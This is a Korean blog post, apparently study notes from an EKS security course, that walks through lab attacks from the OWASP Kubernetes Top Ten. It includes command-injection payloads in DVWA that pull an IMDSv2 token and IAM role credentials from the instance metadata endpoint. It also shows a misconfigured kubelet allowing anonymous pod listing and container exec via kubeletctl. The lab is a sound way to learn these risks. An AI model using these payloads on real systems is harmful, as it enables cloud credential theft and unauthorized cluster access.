[AEKS2] 6주차 - EKS Security: K8S 보안 위협
OWASP Kubernetes Top Ten에 K8S 보안 위협이 여럿 있다.
https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf
이 중에서 몇 가지만 실습하고자 한다.
POD의 IMDS API 악용
이번 실습은 EKS pod가 IMDS API를 악용하는 시나리오이다.
DVWA에서 자격증명을 탈취할 것이다.
DVWA(Damn Vulnerable Web Application)란,
취약점 진단 및 모의해킹을 할 수 있도록 만들어진 웹 어플리케이션이며, Command Injection 기능을 사용할 것이다.
eks-practice/dvwa_webapp at main · choisungwook/eks-practice
위 링크와 가시다님 노션을 참조하여 실습을 진행한다.
-
IMDS를 통해 토큰을 탈취한다.
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
-
EC2 Instance Profile (IAM Role) 이름을 확인한다.
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAHxCDIrx1WLNl5Bl_eEqPd5JfioAzbAxsG1N8WeOkguX5hzvUQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
-
얻어낸 토큰과 Role 이름으로 EC2 Instance Profile (IAM Role) 자격 증명을 탈취할 수 있다.
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAHxCDIrx1WLNl5Bl_eEqPd5JfioAzbAxsG1N8WeOkguX5hzvUQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-3JfVrafnCvK1
Kubelet 미흡한 인증/인가 설정 시 위험
우선 kubelet의 사용 포트를 확인한다.
awscli가 설치된 테스트 POD를 생성하고
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: **myawscli**
spec:
#serviceAccountName: my-sa
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
terminationGracePeriodSeconds: 0
EOF
testuser 터미널 접속
기존 kubeconfig를 삭제하고 시작한다.
실습을 위해 kubeletctl을 설치한다.
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
myawscli POD가 설치된 노드를 확인한 후에 해당 노드에 요청을 날려 본다.
# curl -k https://$N1:10250/pods; echo
Unauthorized
kubeconfig가 없고 아무 권한이 없으니 Unauthorized로 거부당했다.
admin 터미널 접속
노드에 접속하여 kubelet-config.json를 수정한다.
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
authentication의 anonymous와 authorization의 mode를 수정하였다.
kubelet을 재시작한다.
sudo systemctl restart kubelet
systemctl status kubelet
다시 testuser 터미널 접속
권한이 없었는데 이제 kubeconfig가 없어도 접근이 된다.
curl -s -k https://$N1:10250/pods | jq
curl -k https://$N1:10250/configz | jq
POD 리스트도 볼 수 있는 것도 놀랐는데
kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli
로 컨테이너에 접속해서 명령어 실행도 가능했다!!!
아무래도 다른 무엇보다 kubelet 설정을 잘못해서 보안이 뚫리게 된다는게 제일 위험할 듯하다.
작년에 EKS Challenge를 도전해 본적이 있는데
이 문제를 풀다 보면 보안 허점을 느낄 수 있어, 한번 풀어 보는 것을 추천한다!
Leave a comment